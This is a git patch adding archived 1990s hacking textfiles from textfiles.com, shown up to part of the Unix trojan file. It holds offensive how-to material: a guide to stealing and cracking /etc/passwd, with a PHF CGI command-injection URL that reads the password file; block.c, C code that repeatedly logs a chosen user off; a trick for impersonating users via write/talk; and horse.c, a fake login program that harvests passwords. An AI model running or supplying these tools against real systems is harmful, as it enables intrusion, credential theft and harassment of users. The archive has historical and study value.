From 76cd2f528d4e6f4c9106810d4b7bb7f0e6199972 Mon Sep 17 00:00:00 2001 From: OPSXCQ Date: Fri, 29 Dec 2017 13:54:17 -0300 Subject: [PATCH] update --- textfiles.com/hacking/UNIX/dirfind.txt | 71 + textfiles.com/hacking/UNIX/hack.txt | 200 + textfiles.com/hacking/UNIX/hack1 | 231 + textfiles.com/hacking/UNIX/hack2 | 325 + textfiles.com/hacking/UNIX/hack3.hac | Bin 0 -> 7198 bytes textfiles.com/hacking/UNIX/hacking_unix.txt | 1094 ++ textfiles.com/hacking/UNIX/hackunix | 116 + textfiles.com/hacking/UNIX/hackunix.txt | 1076 ++ textfiles.com/hacking/UNIX/hide.hac | 103 + textfiles.com/hacking/UNIX/hss.txt | 119 + textfiles.com/hacking/UNIX/interunx.txt | 6908 ++++++++++ textfiles.com/hacking/UNIX/linux_mo.asc | 136 + textfiles.com/hacking/UNIX/maccrac.txt | 555 + textfiles.com/hacking/UNIX/metaunix.hac | 163 + textfiles.com/hacking/UNIX/muh.hac | Bin 0 -> 6400 bytes textfiles.com/hacking/UNIX/nfstricks.txt | 21 + textfiles.com/hacking/UNIX/nis.txt | 8 + textfiles.com/hacking/UNIX/p500unix.txt | 817 ++ textfiles.com/hacking/UNIX/phelon1.txt | 224 + textfiles.com/hacking/UNIX/ports.txt | 50 + textfiles.com/hacking/UNIX/secdoc.hac | 8710 +++++++++++++ textfiles.com/hacking/UNIX/securesu.txt | 691 + textfiles.com/hacking/UNIX/security.txt | 4357 +++++++ textfiles.com/hacking/UNIX/sendmail.fun | 75 + textfiles.com/hacking/UNIX/sirsunix.hac | 2133 +++ textfiles.com/hacking/UNIX/sobunix.txt | 2654 ++++ textfiles.com/hacking/UNIX/socket.txt | 129 + textfiles.com/hacking/UNIX/stupid.unx | 277 + textfiles.com/hacking/UNIX/sysadmin.txt | 421 + textfiles.com/hacking/UNIX/troj.hac | 114 + textfiles.com/hacking/UNIX/uhacknfo.hac | 12327 ++++++++++++++++++ textfiles.com/hacking/UNIX/uhcom.txt | 656 + textfiles.com/hacking/UNIX/unix-nas.txt | 130 + textfiles.com/hacking/UNIX/unix-tro.txt | 357 + textfiles.com/hacking/UNIX/unix.001 | 2654 ++++ textfiles.com/hacking/UNIX/unix.hal | 432 + textfiles.com/hacking/UNIX/unix.inf | 532 + textfiles.com/hacking/UNIX/unix.info | Bin 0 -> 4174 bytes textfiles.com/hacking/UNIX/unix.sec | 2820 ++++ textfiles.com/hacking/UNIX/unix.txt | Bin 0 -> 6016 bytes textfiles.com/hacking/UNIX/unix.wek | Bin 0 -> 5248 bytes textfiles.com/hacking/UNIX/unix001.hac | 2821 ++++ textfiles.com/hacking/UNIX/unix001.txt | 2824 ++++ textfiles.com/hacking/UNIX/unix1.hac | 199 + textfiles.com/hacking/UNIX/unix2.hac | 341 + textfiles.com/hacking/UNIX/unixacct.txt | 218 + textfiles.com/hacking/UNIX/unixart.hac | 191 + textfiles.com/hacking/UNIX/unixcall.txt | 31 + textfiles.com/hacking/UNIX/unixdos.fil | Bin 0 -> 3986 bytes textfiles.com/hacking/UNIX/unixgrou.txt | 2819 ++++ textfiles.com/hacking/UNIX/unixhak1.hac | 186 + textfiles.com/hacking/UNIX/unixhak2.hac | 382 + textfiles.com/hacking/UNIX/unixhak3.hac | 160 + textfiles.com/hacking/UNIX/unixhck.hac | 94 + textfiles.com/hacking/UNIX/unixhell.txt | 312 + textfiles.com/hacking/UNIX/unixhold.txt | 2821 ++++ textfiles.com/hacking/UNIX/unixinfo.hac | Bin 0 -> 3072 bytes textfiles.com/hacking/UNIX/unixmyth.txt | 229 + textfiles.com/hacking/UNIX/unixsec.txt | 521 + textfiles.com/hacking/UNIX/unixsir.hac | 2135 +++ textfiles.com/hacking/UNIX/unixsysv.hac | 231 + textfiles.com/hacking/UNIX/unixsysv.txt | 237 + textfiles.com/hacking/UNIX/unixtips | 655 + textfiles.com/hacking/UNIX/unixtroj.hac | 326 + textfiles.com/hacking/UNIX/unix~1.txt | 904 ++ textfiles.com/hacking/UNIX/virpassw.txt | 436 + textfiles.com/hacking/UNIX/x86bsd_m.asc | 117 + textfiles.com/hacking/UNIX/xenix.txt | 202 + textfiles.com/hacking/UNIX/xwindows.txt | 274 + textfiles.com/hacking/UNIX/zenixinf.hac | 203 + textfiles.com/hacking/VMS.1 | 72 + 71 files changed, 71627 insertions(+) create mode 100644 textfiles.com/hacking/UNIX/dirfind.txt create mode 100644 textfiles.com/hacking/UNIX/hack.txt create mode 100644 textfiles.com/hacking/UNIX/hack1 create mode 100644 textfiles.com/hacking/UNIX/hack2 create mode 100644 textfiles.com/hacking/UNIX/hack3.hac create mode 100644 textfiles.com/hacking/UNIX/hacking_unix.txt create mode 100644 textfiles.com/hacking/UNIX/hackunix create mode 100644 textfiles.com/hacking/UNIX/hackunix.txt create mode 100644 textfiles.com/hacking/UNIX/hide.hac create mode 100644 textfiles.com/hacking/UNIX/hss.txt create mode 100644 textfiles.com/hacking/UNIX/interunx.txt create mode 100644 textfiles.com/hacking/UNIX/linux_mo.asc create mode 100644 textfiles.com/hacking/UNIX/maccrac.txt create mode 100644 textfiles.com/hacking/UNIX/metaunix.hac create mode 100644 textfiles.com/hacking/UNIX/muh.hac create mode 100644 textfiles.com/hacking/UNIX/nfstricks.txt create mode 100644 textfiles.com/hacking/UNIX/nis.txt create mode 100644 textfiles.com/hacking/UNIX/p500unix.txt create mode 100644 textfiles.com/hacking/UNIX/phelon1.txt create mode 100644 textfiles.com/hacking/UNIX/ports.txt create mode 100644 textfiles.com/hacking/UNIX/secdoc.hac create mode 100644 textfiles.com/hacking/UNIX/securesu.txt create mode 100644 textfiles.com/hacking/UNIX/security.txt create mode 100644 textfiles.com/hacking/UNIX/sendmail.fun create mode 100644 textfiles.com/hacking/UNIX/sirsunix.hac create mode 100644 textfiles.com/hacking/UNIX/sobunix.txt create mode 100644 textfiles.com/hacking/UNIX/socket.txt create mode 100644 textfiles.com/hacking/UNIX/stupid.unx create mode 100644 textfiles.com/hacking/UNIX/sysadmin.txt create mode 100644 textfiles.com/hacking/UNIX/troj.hac create mode 100644 textfiles.com/hacking/UNIX/uhacknfo.hac create mode 100644 textfiles.com/hacking/UNIX/uhcom.txt create mode 100644 textfiles.com/hacking/UNIX/unix-nas.txt create mode 100644 textfiles.com/hacking/UNIX/unix-tro.txt create mode 100644 textfiles.com/hacking/UNIX/unix.001 create mode 100644 textfiles.com/hacking/UNIX/unix.hal create mode 100644 textfiles.com/hacking/UNIX/unix.inf create mode 100644 textfiles.com/hacking/UNIX/unix.info create mode 100644 textfiles.com/hacking/UNIX/unix.sec create mode 100644 textfiles.com/hacking/UNIX/unix.txt create mode 100644 textfiles.com/hacking/UNIX/unix.wek create mode 100644 textfiles.com/hacking/UNIX/unix001.hac create mode 100644 textfiles.com/hacking/UNIX/unix001.txt create mode 100644 textfiles.com/hacking/UNIX/unix1.hac create mode 100644 textfiles.com/hacking/UNIX/unix2.hac create mode 100644 textfiles.com/hacking/UNIX/unixacct.txt create mode 100644 textfiles.com/hacking/UNIX/unixart.hac create mode 100644 textfiles.com/hacking/UNIX/unixcall.txt create mode 100644 textfiles.com/hacking/UNIX/unixdos.fil create mode 100644 textfiles.com/hacking/UNIX/unixgrou.txt create mode 100644 textfiles.com/hacking/UNIX/unixhak1.hac create mode 100644 textfiles.com/hacking/UNIX/unixhak2.hac create mode 100644 textfiles.com/hacking/UNIX/unixhak3.hac create mode 100644 textfiles.com/hacking/UNIX/unixhck.hac create mode 100644 textfiles.com/hacking/UNIX/unixhell.txt create mode 100644 textfiles.com/hacking/UNIX/unixhold.txt create mode 100644 textfiles.com/hacking/UNIX/unixinfo.hac create mode 100644 textfiles.com/hacking/UNIX/unixmyth.txt create mode 100644 textfiles.com/hacking/UNIX/unixsec.txt create mode 100644 textfiles.com/hacking/UNIX/unixsir.hac create mode 100644 textfiles.com/hacking/UNIX/unixsysv.hac create mode 100644 textfiles.com/hacking/UNIX/unixsysv.txt create mode 100644 textfiles.com/hacking/UNIX/unixtips create mode 100644 textfiles.com/hacking/UNIX/unixtroj.hac create mode 100644 textfiles.com/hacking/UNIX/unix~1.txt create mode 100644 textfiles.com/hacking/UNIX/virpassw.txt create mode 100644 textfiles.com/hacking/UNIX/x86bsd_m.asc create mode 100644 textfiles.com/hacking/UNIX/xenix.txt create mode 100644 textfiles.com/hacking/UNIX/xwindows.txt create mode 100644 textfiles.com/hacking/UNIX/zenixinf.hac create mode 100644 textfiles.com/hacking/VMS.1 diff --git a/textfiles.com/hacking/UNIX/dirfind.txt b/textfiles.com/hacking/UNIX/dirfind.txt new file mode 100644 index 00000000..36db8509 --- /dev/null +++ b/textfiles.com/hacking/UNIX/dirfind.txt @@ -0,0 +1,71 @@ + Newbie Tips: (Changing to / Hidden Directories) 1.1 + =================================================== +I've only done this with Unix, emacs, & ftp (not ncftp), but I know it's +probably doable in the same/different way on other systems like VMS, NeXT, +etc. I assume you know what ascii, vt codes, etc are so just skim through +this, & maybe it'll help you out if you're caught on something. This isn't +a complete guide or anything.. it's just a few basic things that might be +useful if you don't already know them. There'll probably be a few people +who won't like this getting around to every new person on the 'net (there's +enough competition out there for sitez as it is), but it's nothing anyone +shouldn't already now a bit about (If I gave out a new site list with +each file or something THEN I could see some ChAos happening! :-) +Enjoy.. +____________________________________________________________________________ +Changing to a directory with spaces, tabs, or anything really wierd +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ +All you do is use quotes, ie. cd incoming/".."/"^Z"/"" +To change to a dir with an space--------^ tab---^ ascii seq--^ +'Ascii sequence', simply +hold down the Alt key & +hit the appropriate +numers. +*Note: this may be tricky if your term prog, or machine uses ALT keys + for LOCAL actions. +____________________________________________________________________________ +Figuring out what a hidden directory actually IS (you KNOW it's there, +but don't know what to type to change to it) +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ +What I do is redirect it to a file, then look at the file with emacs! In +ftp type 'ls -al '.. this saves the directory listing to a file. +Then either shell, exit, or use another process & look at the file with +emacs. Emacs will actually show you the "^H^A" chars. You can even +distinguish the spaces from tabs.. if you move the cursor accross the +directory name & it 'jumps' accross a bit.. it's a tab! I'm pretty sure +emacs can saftly display those nasty VT-wrecking control codes (^E^N ?). +____________________________________________________________________________ +How to change to directories with tricky chars like '^Z','^C', etc.. +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ +While at the prompt in the shell, type 'stty -a'. This gives you the +'mapping' of the few special control chars. All you do is remap 'suspend' +from ^Z to something else (say ^K): type 'stty susp ^K'. Now ^K is the +suspend char, NOT ^Z.. you can now type ^Z while in ftp without it +getting thrown into the background! The same goes for ^C, ^R, etc.. + + 'stty susp ^K' + ^^-- when you type this, use the char '^' and the char 'K'.. + you don't really type the actual control code when you + 'remap' them from the shell prompt. +____________________________________________________________________________ +Making directories, files with Color +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ +Pretty much like changing to them. I.e. mkdir "^[[7mHello^[[0m" will make +a directory in 'reverse video' (it'll look like junk if your NOT using +some kind of VT-100 term) but remember the actual dir is the escape +codes, not JUST 'hello'. Unix is interesting, because filenames can be +pretty much any length, and have any kind of characters in them.. even +Line Feeds!. +____________________________________________________________________________ +Handling " characters +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ +Quote char's can't be specified in quotes obviously. Like in Tcsh, the '\' +char can be used to prefix unusual chars instead of using quotes. The '\' +method can be handy if the quote method doesn't work.. ie: +to change to: .^L type: cd \\.\^L +to change to: "mydir^Hi type: cd \"mydir\\^Hi +etc.. + +I know this is sort of brief but it should give you a general idea of what +to look for and what to expect on when your poking around sitez. HaveFun! + +-Dec 17, 1994. diff --git a/textfiles.com/hacking/UNIX/hack.txt b/textfiles.com/hacking/UNIX/hack.txt new file mode 100644 index 00000000..e7fdfd93 --- /dev/null +++ b/textfiles.com/hacking/UNIX/hack.txt @@ -0,0 +1,200 @@ + __________ _______________ _________ + / /\ / ______ /\ / ____ \ + / ______/ / / /\____/ / / / /\___\ \ + / /\_____\/ / / / / / / / / / \ \ + / /_/___ / / / / / / / / / \ \ + / /\ / / / / / / / / / / /\ + / _____/ / / / / / / / / / / / / / + / /\____\/ / / / / / / / / / / / / + / /_/___ / / / / / / / / / / / / + / /\ / /_/___/ / / / /_/_______/ / / + /__________/ / /______________/ / /________________/ / + \__________\/ \______________\/ \________________\/ + Essence Of Darkness + + -'Hacking Servers 101' + was written by ChronicK of THE E0D- + + +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ + ++ DiSCLAiMER: ++ + ++ CHRONiCK NOR ANY PARTiES AFFiLIATED WiTH HiM TAKE ++ + ++ SPONSABiLiTY, WiTH THE CONTENTS CONTAiNED iN THiS ++ + ++ TEXT FILE. THiS CONTENT iS FOR EDUCATiONAL PURPOSES ++ + ++ ONLY, AND WHERE NOT PERSONALLY USED BY CHRONiCK, OR ANY ++ + ++ OTHER PARTiES AFFiLiATED WiTH HiM... ++ + +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ + ++ALL MiSPELLED WORDS, PUNCUATiON, AND OTHER MiSTAKES, ++ + ++ ARE CONSiDERED AS'ARTiSTiC EXPRESSiNGS'. ++ + +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ +I'm very tired of people (so called 'hackers) asking me to teach them to +hack, or how to hack web sites...Well there is. There are, in fact, literally +hundreds of ways to do this. I'll discuss a few in this text to get you started. +Everyone must start somewhere and somehow, and hacking web servers and ftp servers +is yet one of the easiest ways. I really hope that you have _*SOME*_ basic knowledge, +of how web servers work and how to use some form of UNiX... +I'll explain that stuff anyway for those of you who _*don't*_ know. If you do, then +skip this lame part =c) + + + +Part 1: The _*simple*_ UNiX commands 101 + + The majority of MS DOS commands, have a UNiX, or Linux equivalents. +Bellow, I have listen the _*MAiN*_ commands you'll need to know to operate a shell account. +CD = CD +COPY = CP +DEL = RM +DIR = LS +HELP = HELP +MOVE = MV +** +NOTE: These next commands where taken from the +Linebreaker (unix-use.txt), and are inculded in + braces... +** + +awk *=* Search for a pattern within a file +bdiff *=* Compares two large file +bfs *=* Scans a large file +cal *=* Displays a calendar +cat *=* Documents and prints file +cc *=* C compiler +cd *=* Change directory +chgrp *=* Changes a file's group ownership +chmod *=* Changes a file's access permissions +cmp *=* Compares two files +comm *=* Compares two files so as to determine which lines + *=* are common to both +cp *=* Copies a file to another location +cu *=* Calls another Unix system +date *=* Returns the date and time +fr *=* Displays free space in the file system +diff *=* Displays the differences between two files or dir's +diff3 *=* " " three files or dir's +du *=* Reports on file system usage +echo *=* Displays its argument +ed *=* Text editor +ex *=* Text editor +f77 *=* Fortran compiler +find *=* Locates the files with specified characteristics +format *=* Initializes a floppy disk +grep *=* Searches for a pattern within a file +help *=* Provides help +kill *=* Ends a process +in *=* Used to link files +ipr *=* Copies the file to the line printer +is *=* Displays information about one or more files +mail *=* Used to receive or deliver messages +mkdir *=* Creates a new directory +more *=* Displays a long file so that the user can scroll +mv *=* Used to move or rename files +nroff *=* Used to format text +passwd *=* Allows you to change your current password +ps *=* Display a process's status +pwd *=* Display the name of the working directory +rm *=* Removes one or more files +rmdir *=* Deletes one or more directories +sleep *=* Causes a process to become inactive for a specified + *=* amount of time +sort *=* Sort and merge one or more files +spell *=* Finds spelling errors in a file +split *=* Divides a file +stty *=* Displays or set terminal parameters +tail *=* Displays the end of a file +troff *=* Outputs formatted output to a typesetter +tset *=* Sets other terminal type +unmask *=* Allows the user to specify a new creation mass +uucp *=* Unix-to-Unix execute +vi *=* Full screen editor +wc *=* Displays details in the file size +who *=* Displays information on the system users +write *=* Used to send a message to another user +bin *=* Used to store Unix utilities +lib *=* Contains libraries used by Unix +tmp *=* Contains temporary files +etc *=* Contains administrative programs such as passwd +dev *=* Contains files which represent devices +usr *=* Contains user files +-NOTE: that cuncluded unix-use.txt's commands... +***** + If you have _*NO*_ clue whatsoever of what any of what that chart 'represents', here's yet more +help for you... + +On the right (in the above chart, CD, COPY DEL, DiR, HELP, and MOVE, are ALL MicroSoft, DOS commands. +What are MicroSoft DOS commands? Doh, commands you enter in a MicroSoft DOS Prompt! Just try one, shell to DOS +(open a MicroSoft DOS prompt), if you don't know how just restart in DOS (Win95 users). Win3.x users, just exit +windows. Once you are in DOS, type some of the above commands, in the chart, on the right =c). On the left are +UNiX/LiNUX commands, that do they equivalent, of, the commands on the right...I hope this explains it enough... + + + To find out who is in a system, simply type: WHO. To get information +about a specific user on the system type FINGER username (username = the name you +fingering). By taking advantage of those basic UNiX commands, you can learn all you +need to know about the system you are currently 'in' (using). + +Part 2: Cracking the passwords 101 + + On UNiX systems the file that contains the passwords for all the users +on the system is located in the /etc dir (directory). The filename is passwd. +So alltogether you need to access ~/etc/passwd. All of the accounts in the +passwd file have _*ENCRYPTED*_ passwords. These passwords cannot be, in any way, +'decrypted'. However, there are programs that can be used to obtain passwords from +the file. I reccomed using 'Cracker Jack', or my favorite, John The Ripper...These +prgramms use wordlists (a BiG LiST of words), then compares the encrypted forms +of the words in the list to the encrypted passwords in the passwd file and it +notifies you when it finds a match (NOT allways 100% of the time...). John The Ripper, +or Cracker Jack, can be found at: www.hack3rs.com. + +Part 3: Finding Password Files 101 +Obviously, a systim adimin isn't just going to give out a passwd file to you. +You have to have a way to retrieve the /etc/passwd file without logging into the +system. There are two ways that this can sometimes be accomplished. Most of the time +the etc/passwd file isn't hidden from the public, in there ftp. To get the passwd +file this way try using an FTP client to access the site _*ANONiMOUSLY*_ then check +the /etc directory to see if access to the passwd file is non accessable. If it is +not restricted then download the file and run John The Ripper, or Cracker Jack, or any +other cracking programms on it. In some systems there is a file called PHF, located in +the /cgi-bin directory. If there is then you are in luck. PHF allows users to gain +_*REMOTE-ACCESS*_ to files, even etc/passwd via the 'net. To try this method +goto your web browser and type in the following addy (URL (Address)): +http://the.site.url/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd +Make sure you change http://the.site.url to http://whatever the address of the page +you're trying to hack... + + +If all else fails, _*FiND*_ a way to get that file! If you are stuck with a 'x' +or '*' (in most cases you _*ARE*_), that means the file is shadowed. There is +_*NO*_ way to actually 'Unshadow', although, I've seen programms, that claim to +do it...You may want to visit www.lorsomer.com, www.r0ot.org, or www.hack3rs.com... You have +to have some C programming knowledge, because you have to compile the programm using a compiler. +There are allways backups of passwd though! Experiment a little, try etc/shadow +or something. + +Part 4: Loggin on to _*YOUR*_ new personnal shell! + +If you succeded in the password getting proccess, run your telnet client and +telent (Windows95's default telnet client can be ran by: clicking the start button, +then run, and then type telnet, hit enter.) to the server that you cracked the passwords for, such +as www.hack3rs.com (in Windows95's telnet client click conect, then remote server, or go to +MicroSoft DOS, and type: telnet address.goes.here). When you connect, you will be prompted, +for both a username, then password. Just type in the information you got after cracking +the passwd file. Once in you can do whatever you want...I strongly do not recommend spreading +virii, or causing havoc... + -Knowledge is _*POWER*_, and Information is _*STRENGTH*_- + +Part 5: Newbies... + + Cracking is not hacking, so just remember that...If you are seriously into +becoming a hacker, check out your local library, or bookstoor, and pick up programming +books...HTML, C, JAVA, anything...Don't buy 'hacking books' they don't help much, +they just tell you about hacks, and social engineering...Check out www.hack3rs.com +for newbie texts, and other rescources for the H/P Underground Comunity... + ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ ++ ************************************************** + + + *ChronicK can be contaced at: eod@mailexcite.com * + ++ ************************************************** + ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ + +read all + diff --git a/textfiles.com/hacking/UNIX/hack1 b/textfiles.com/hacking/UNIX/hack1 new file mode 100644 index 00000000..bc1bd1d7 --- /dev/null +++ b/textfiles.com/hacking/UNIX/hack1 @@ -0,0 +1,231 @@ + Unix - Odds & Ends + +-- ------- ----- --- --- ------ +1. Keeping Users Off The System +-- ------- ----- --- --- ------ + +Now, we all know by now how to log users off (one way is to redirect +an 'stty 0' command to their tty) but unless you have root privs, this +will not work when a user has set 'mesg n' and prevented other users from +writing to their terminal. But even users who have a 'mesg n' command in +their .login (or .profile or .cshrc) file still have a window of vulnerability, +the time between login and the locking of their terminal. I designed the +following program, block.c, to take advantage of this fact. + +To get this source running on your favorite Unix system, upload it, +call it 'block.c', and type the following at the % or $ prompt: + +cc -o block block.c + +once you've compiled it successfully, it is invoked like so: + +block username [&] + +The & is optional and recommended - it runs the program in the background, +thus letting you do other things while it's at work. + +If the user specified is logged in at present, it immediately logs +them out (if possible) and waits for them to log in. If they aren't logged +in, it starts waiting for them. If the user is presently logged in but +has their messages off, you'll have to wait until they've logged out to +start the thing going. + +Block is essentially an endless loop : it keeps checking for the occurence +of the username in /etc/utmp. When it finds it, it immediately logs them +out and continues. If for some reason the logout attempt fails, the program +aborts. Normally this won't happen - the program is very quick when run +unmodified. However, to get such performance, it runs in a very tight +loop and will eat up a lot of CPU time. Notice that near the end of the +program there is the line: + +/*sleep(SLEEP) */ + +the /* and */ are comment delimiters - right now the line is commented +out. If you remove the comments and re-compile the program, it will then +'go to sleep' for the number of seconds defined in SLEEP (default is 5) +at the end of every loop. This will save the system load but will slightly +decrease the odds of catching the user during their 'window of vulnerability.' + +If you have a chance to run this program at a computer lab at a school or +somewhere similar, run this program on a friend (or an enemy) and watch +the reaction on their face when they repeatedly try to log in and are +logged out before they can do *anything*. It is quite humorous. This +program is also quite nasty and can make you a lot of enemies! + +caveat #1: note that if you run the program on yourself, you will be logged +out, the program will continue to run (depending on the shell you're under) +and you'll have locked yourself out of the system - so don't do this! + +caveat #2: I wrote this under OSx version 4.0, which is a licensed version +of Unix which implements 4.3bsd and AT&T sysV. No guarantees that it will +work on your system. + +caveat #3: If you run this program in background, don't forget to kill +it when you're done with it! (when you invoke it with '&', the shell will +give you a job number, such as '[2] 90125'. If you want to kill it later +in the same login session, type 'kill %2'. If you log in later and want +to kill it, type 'kill 90125'. Just read the man page on the kill command +if you need any help... + +----- cut here ----- + +/* block.c -- prevent a user from logging in + * by Shooting Shark + * usage : block username [&] + * I suggest you run this in background. + */ + +#include +#include +#include +#include +#include + +#define W_OK2 +#define SLEEP5 +#define UTMP"/etc/utmp" +#define TTY_PRE "/dev/" + +main(ac,av) +int ac; +char *av[]; +{ +int target, fp, open(); +struct utmpuser; +struct termio*opts; +char buf[30], buf2[50]; + +if (ac != 2) { +printf("usage : %s username\n",av[0]); +exit(-1); +} + + +for (;;) { + +if ((fp = open(UTMP,0)) == -1) { +printf("fatal error! cannot open %s.\n",UTMP); +exit(-1); +} + + +while (read(fp, &user, sizeof user) > 0) { +if (isprint(user.ut_name[0])) { +if (!(strcmp(user.ut_name,av[1]))) { + +printf("%s is logging in...",user.ut_name); +sprintf(buf,"%s%s",TTY_PRE,user.ut_line); +printf("%s\n",buf); +if (access(buf,W_OK) == -1) { +printf("failed - program aborting.\n"); +exit(-1); +} +else { +if ((target = open(buf,O_WRONLY)) != EOF) { +sprintf(buf2,"stty 0 > %s",buf); +system(buf2); +printf("killed.\n"); +sleep(10); +} + +} /* else */ +} /* if strcmp */ +} /* if isprint */ +} /* while */ +close(fp); + +/*sleep(SLEEP); */ + +} /* for */ + + + + + +} + +----- cut here ----- + + +-- ------------- ----- ----- ---- ------ --- ------ +2. Impersonating other users with 'write' and 'talk' +-- ------------- ----- ----- ---- ------ --- ------ + +This next trick wasn't exactly a work of stupefying genius, but is a +little trick (that anybody can do) that I sometimes use to amuse myself +and, as with the above, annoy the hell out of my friends and enemies. + +Nearly every Unix system has the 'write' program, for conversing with +other logged-in users. As a quick summary: + +If you see that user 'clara' is logged in with the 'who' or 'w' command +or whatever, and you wish to talk to her for some reason or another, +you'd type 'write clara'. Clara then would see on her screen something +like this (given that you are username 'shark'): + + +[3 ^G's] Message from shark on ttyi13 at 23:14 ... + +You then type away at her, and whatever you type is sent to her terminal +line-by-line. If she wanted to make it a conversation rather than a +monologue, she'd type 'write shark,' you'd get a message similar to the above +on your terminal, and the two of you would type away at each other to your +little heart's content. If either one of you wanted to end the conversation, +you would type a ^D. They would then see the characters 'EOF' on their +screen, but they'd still be 'write'ing to you until they typed a ^D as well. + +Now, if you're on a bigger installation you'll probably have some sort +of full-screen windowing chat program like 'talk'. My version of talk +sends the following message: + +Message from Talk_Daemon@tibsys at 23:14 ... +talk: connection requested by shark@tibsys. +talk: respond with: talk shark@tibsys + +Anyway, here's where the fun part begins: It's quite easy to put a sample +'write' or 'talk' message into a file and then edit so that the 'from' +is a different person, and the tty is listed differently. If you see that +your dorky friend roger is on ttyi10 and the root also happens to be +logged on on ttyi01, make the file look something like this: + +[3 control-G's] Message from root on ttyi01 at [the current time] + +wackawackawackawackawacka!!! + +[or a similarly confusing or rude message...] + +EOF + +Then, send this file to roger's terminal with: + +cat filename > /dev/ttyi10 + +He'll get the message on his terminal and wonder what the hell the +superuser is talking about. He might even 'write' back to the superuser +with the intent of asking 'what the hell are you talking about?'. For +maximum effectiveness, *simultaneously* send a message to root 'from' +roger at the appropriate terminal with an equally strange message - they'll +then engage in a conversation that will go something like "what did you +mean by that?" "what do you mean, what do I mean? What did *you* mean +by that?" etc. A splendid time is guaranteed for all! Note that you don't +have to make 'root' the perpetrator of the gag, any two currently logged-in +users who have their terminals open for messages can join in on the fun. + +Similarly, you can fake a few 'talk' pages from/to two people...they will +then probably start talking...although the conversation will be along the +lines of "what do you want?" "you tell me." "you paged me, you tell *me." +etcetera, while you laugh yourself silly or something like that. + +A variation on the theme: As I said, when using 'write' you type a ^D to +end the conversation, and the person you're typing at sees an 'EOF' on +their screen. But you could also just *type* 'EOF', and they'd think +you've quit...but you still have an open line to their terminal. Even +if they later turn messages off, you still have the ability to write to +their terminal. Keeping this fact in mind, anybody who knows what they're +doing can write a program similar to my 'block' program above that doesn't +log a user out when they appear on the system, but opens their tty as +a device and keeps the file handle in memory so you can redirect to their +terminal - to write rude messages or to log them out or whatever - at any +time, until they log out. + +  \ No newline at end of file diff --git a/textfiles.com/hacking/UNIX/hack2 b/textfiles.com/hacking/UNIX/hack2 new file mode 100644 index 00000000..bf34a880 --- /dev/null +++ b/textfiles.com/hacking/UNIX/hack2 @@ -0,0 +1,325 @@ + ------------------ + UNIX Trojan Horses + ------------------ + +Introduction +------------ + + "UNIX Security" is an oxymoron. It's an easy system to bruteforce hack +(most UNIX systems don't hang up after x number of login tries, and there are +a number of default logins, such as root, bin, sys and uucp). Once you're in +the system, you can easily bring it to its knees or, if you know a little 'C', +you can make the system work for you and totally eliminate the security +barriers to creating your own logins, reading anybody's files, etcetera. This +file will outline such ways by presenting 'C' code that you can implement +yourself. + +Requirements +------------ + You'll need a working account on a UNIX system. It should be a fairly +robust version of UNIX (such as 4.2bsd or AT&T System V) running on a real +machine (a PDP/11, VAX, Pyramid, etc.) for the best results. If you go to +school and have an account on the school system, that will do perfectly. + +Notes +----- + This file was inspired an article in the April, '86 issue of BYTE +entitled "Making UNIX Secure." In the article, the authors say "We provide +this information in a way that, we hope, is interesting and useful yet stops +short of being a 'cookbook for crackers.' We have often intentionally omitted +details." I am following the general outline of the article, giving explicit +examples of the methods they touched on. + + +Project One: Fishing For Passwords +----------------------------------- + + You can implement this with only a minimal knowledge of UNIX and C. +However, you need access to a terminal that many people use - the computer lab +at your school, for example. + + When you log onto a typical UNIX system, you see something like this: + +Tiburon Systems 4.2bsd / System V (shark) + + +login: shark +Password: (not printed) + + The program I'm giving you here simulates a logon sequence. You run the +program from a terminal and then leave. Some unknowing fool will walk up and +enter their login and password. It is written to a file of yours, then "login +incorrect" is printed, then the fool is asked to log in again. The second +time it's the real login program. This time the person succeeds and they are +none the wiser. + + On the system, put the following code into a file called 'horse.c'. You +will need to modify the first 8 lines to fit your system's appearance. + + +----- Code Begins Here ----- + +/* this is what a 'C' comment looks like. You can leave them out. */ + +/* #define's are like macros you can use for configuration. */ + +#define SYSTEM "\n\nTiburon Systems 4.2bsd UNIX (shark)\n\n" + +/* The above string should be made to look like the message that your + * system prints when ready. Each \n represents a carriage return. + */ + +#define LOGIN "login: " + +/* The above is the login prompt. You shouldn't have to change it + * unless you're running some strange version of UNIX. + */ + +#define PASSWORD "password:" + +/* The above is the password prompt. You shouldn't have to change + * it, either. + */ + +#define WAIT 2 + +/* The numerical value assigned to WAIT is the delay you get after + * "password:" and before "login incorrect." Change it (0 = almost + * no delay, 5 = LONG delay) so it looks like your system's delay. + * realism is the key here - we don't want our target to become + * suspicious. + */ + + +#define INCORRECT "Login incorrect.\n" + +/* Change the above so it is what your system says when an incorrect + * login is given. You shouldn't have to change it. + */ + +#define FILENAME "stuff" + +/* FILENAME is the name of the file that the hacked passwords will + * be put into automatically. 'stuff' is a perfectly good name. + */ + +/* Don't change the rest of the program unless there is a need to + * and you know 'C'. + */ + +#include +#include +int stop(); + +main() +{ +char name[10], password[10]; +int i; +FILE *fp, *fopen(); +signal(SIGINT,stop); +initscr(); +printf(SYSTEM); +printf(LOGIN); +scanf("%[^\n]",name); +getchar(); +noecho(); +printf(PASSWORD); +scanf("%[^\n]",password); +printf("\n"); +getchar(); +echo(); +sleep(WAIT); + + +if ( ( fp = fopen(FILENAME,"a") ) != NULL ) { +#fprintf(fp,"login %s has password %s\n",name,password); +#fclose(fp); +#} + +printf(INCORRECT); +endwin(); +} + +stop() +{ +endwin(); +exit(0); +} + + +----- 